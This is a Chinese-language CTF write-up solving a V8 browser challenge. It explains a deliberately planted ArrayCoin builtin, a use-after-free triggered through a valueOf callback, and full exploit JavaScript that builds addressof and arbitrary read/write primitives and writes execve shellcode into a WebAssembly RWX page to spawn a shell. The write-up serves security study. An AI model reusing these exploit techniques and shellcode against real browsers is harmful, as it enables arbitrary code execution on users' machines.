-
-
browser pwn入门(二)
-
2023-12-13 21:46 7726
-
再来看一道oob的题目
数字经济大赛决赛-Browser
先看diff
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index e6ab965a7e..9e5eb73c34 100644 --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, } } // namespace +// Vulnerability is here +// You can't use this vulnerability in Debug Build :) +BUILTIN(ArrayCoin) { + uint32_t len = args.length(); + if (len != 3) { + return ReadOnlyRoots(isolate).undefined_value(); + } + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + + Handle<Object> value; + Handle<Object> length; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, length, Object::ToNumber(isolate, args.at<Object>(1))); + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at<Object>(2))); + + uint32_t array_length = static_cast<uint32_t>(array->length().Number()); + if(37 < array_length){ + elements.set(37, value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } + else{ + return ReadOnlyRoots(isolate).undefined_value(); + } +} + BUILTIN(ArrayPush) { HandleScope scope(isolate); Handle<Object> receiver = args.receiver(); diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 3412edb89d..1837771098 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -367,6 +367,7 @@ namespace internal { TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ + CPP(ArrayCoin) \ \ /* ArrayBuffer */ \ /* ES #sec-arraybuffer-constructor */ \ diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index f5fa8f19fe..03a7b601aa 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtins::kArrayUnshift: return t->cache_->kPositiveSafeInteger; + case Builtins::kArrayCoin: + return Type::Receiver(); // ArrayBuffer functions. case Builtins::kArrayBufferIsView: diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc index e7542dcd6b..059b54731b 100644 --- a/src/init/bootstrapper.cc +++ b/src/init/bootstrapper.cc @@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, false); SimpleInstallFunction(isolate_, proto, "copyWithin", Builtins::kArrayPrototypeCopyWithin, 2, false); + SimpleInstallFunction(isolate_, proto, "coin", + Builtins::kArrayCoin, 2, false); SimpleInstallFunction(isolate_, proto, "fill", Builtins::kArrayPrototypeFill, 1, false); SimpleInstallFunction(isolate_, proto, "find", |
作者贴心提示了我们只能用于release版本不能用于debug,编译release的时候记得在args.gn里加上这几行
1 2 3 4 | v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true |
不然用不了job命令
作者为array容器新增了一个了一个coin方法,接收两个参数length和value,超过两个则会返回undefined_value。
获取array然后申请一个局部变量存储elements字段,声明value和length,然后对coin的两个参数分别调用ToNumber函数。
判断array的length是否大于37,如果大于的话则将value写入到之前声明的局部变量elements[37]中。
通过分析diff来寻找漏洞,由于ToNumber函数可以出发回调函数,所以如果先申请一个length小于37的array,然后在回调函数中修改array length的值,让其大于37,就可以让array的elements将原来的空间释放掉然后重新申请一个更大的空间,但是局部变量elements并没有检测是否出现上述情况,所以发生了UAF,导致可能会发生数组越界写。
有了大致思路以后来摸摸这个题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | var buf = new ArrayBuffer(16); var float64 = new Float64Array(buf); var bigUint64 = new BigUint64Array(buf); function f2i(f) { float64[0] = f; return bigUint64[0]; } function i2f(i) { bigUint64[0] = i; return float64[0]; } function hex(i) { return i.toString(16).padStart(16, "0" ); } var length=123123; var value= { valueOf: function () { float_array.length=100; return 123123; } } var float_array=[]; float_array.length=30; %DebugPrint(float_array); float_array.coin(length,value); %DebugPrint(float_array); %SystemBreak(); |
先尝试着利用回调函数修改float_array的length
可以看到成功修改了array的长度,但是修改array的长度并不是关键点,还是要将主要精力放在越界写上,尝试在调用coin的array下面申请一个新的array,然后让越界写刚好能够写到新的array的length字段,这样就可以获得一个大范围的越界任意读写。
进行以下尝试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | var length=123123; var value= { valueOf: function () { float_array.length=100; return 1.1; } } var float_array=[]; float_array.length=30; victim= new Array(12); float_array.coin(length,value); %DebugPrint(victim); %DebugPrint(float_array); %SystemBreak(); |
其中红色方框是float_array的对象结构,蓝色方框是已经被弃用的大小为30的elements,绿色方框则是victim,包含了对象结构以及大小12的elements结构,可以看到victim的结构是紧挨着被弃用的elements的,如果发生越界写是完全可以通过控制float_array的大小来控制越界写到victim结构的什么字段的,当float_array大小为30的时候,写到的是0x158偏移的位置,而victime的length字段在偏移0x138的位置,也就是说float_array的elements长度再加4*8就可以覆盖victime的length字段。
将float_array.length改成34以后,得到如下结果
现在就获得了大范围越界读写功能了。
接下来借此实现一下功能函数
首先是addressof函数,只需要申请一个array,然后里面写上一个特殊值,然后用victim进行定位,将object存到新申请的array里,然后用victim进行读取即可完成addressof功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | var float_array=[]; float_array.length=34; victim= new Array(12); victim[0]=1.1; float_array.coin(length,value); var pos_array= new Array(0x12345678,0); var pos_idx=victim.indexOf(i2f(0x1234567800000000n))+1; function addressof(object) { pos_array[1]=object; return f2i(victim[pos_idx]); } var target = [1.1]; var target_address=addressof(target); console.log( "[*] target address : 0x" +hex(target_address)); %DebugPrint(target); //%DebugPrint(float_array); %SystemBreak(); |
可以看到已经成功实现了addressof
接下来实现read64和write64
1 2 3 4 5 6 7 8 9 10 11 12 | function read64(address) { victim[backstore_ptr_idx]=i2f(address); var dt=DataView(rwarray); return f2i(dt.getFloat64(0, true )); } function write64(address,value) { victim[backstore_ptr_idx]=i2f(address); var dt=DataView(rwarray); dt.setBigUint64(0,value, true ); } |
还是非常好实现的
最后考虑wasm写shellcode来getshell,常规的执行shellcode的方法即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | var buf = new ArrayBuffer(16); var float64 = new Float64Array(buf); var bigUint64 = new BigUint64Array(buf); function f2i(f) { float64[0] = f; return bigUint64[0]; } function i2f(i) { bigUint64[0] = i; return float64[0]; } function hex(i) { return i.toString(16).padStart(16, "0" ); } var length=123123; var value= { valueOf: function () { float_array.length=100; return 123123123123; } } var float_array=[]; float_array.length=34; victim= new Array(12); victim[0]=1.1; float_array.coin(length,value); var pos_array= new Array(0x12345678,0); var pos_idx=victim.indexOf(i2f(0x1234567800000000n))+1; function addressof(object) { pos_array[1]=object; return f2i(victim[pos_idx]); } var target = [1.1]; var target_address=addressof(target); console.log( "[*] target address : 0x" +hex(target_address)); var rwarray= new ArrayBuffer(8); var backstore_ptr_idx = victim.indexOf(i2f(8n)) + 1; function read64(address) { victim[backstore_ptr_idx]=i2f(address); var dt= new DataView(rwarray); return f2i(dt.getFloat64(0, true )); } function write64(address,value) { victim[backstore_ptr_idx]=i2f(address); var dt= new DataView(rwarray); dt.setBigUint64(0,value, true ); } function get_wasm_fun() { var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var instance_addr=addressof(wasmInstance); var rwx_page_addr=read64(instance_addr-1n+0x88n); return [wasmInstance.exports.main,rwx_page_addr]; } var result= get_wasm_fun(); var f=result[0]; var rwx_page=result[1] console.log( "[*] leak rwx_page: 0x" + hex(rwx_page)); shellcode = [ 0x91969dd1bb48c031n, 0x53dbf748ff978cd0n, 0xb05e545752995f54n, 0x50f3bn ]; for ( var i=0n;i<4n;i++) { write64(rwx_page+8n*i,shellcode[i], true ); } //%SystemBreak(); f(); |
起shell
[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法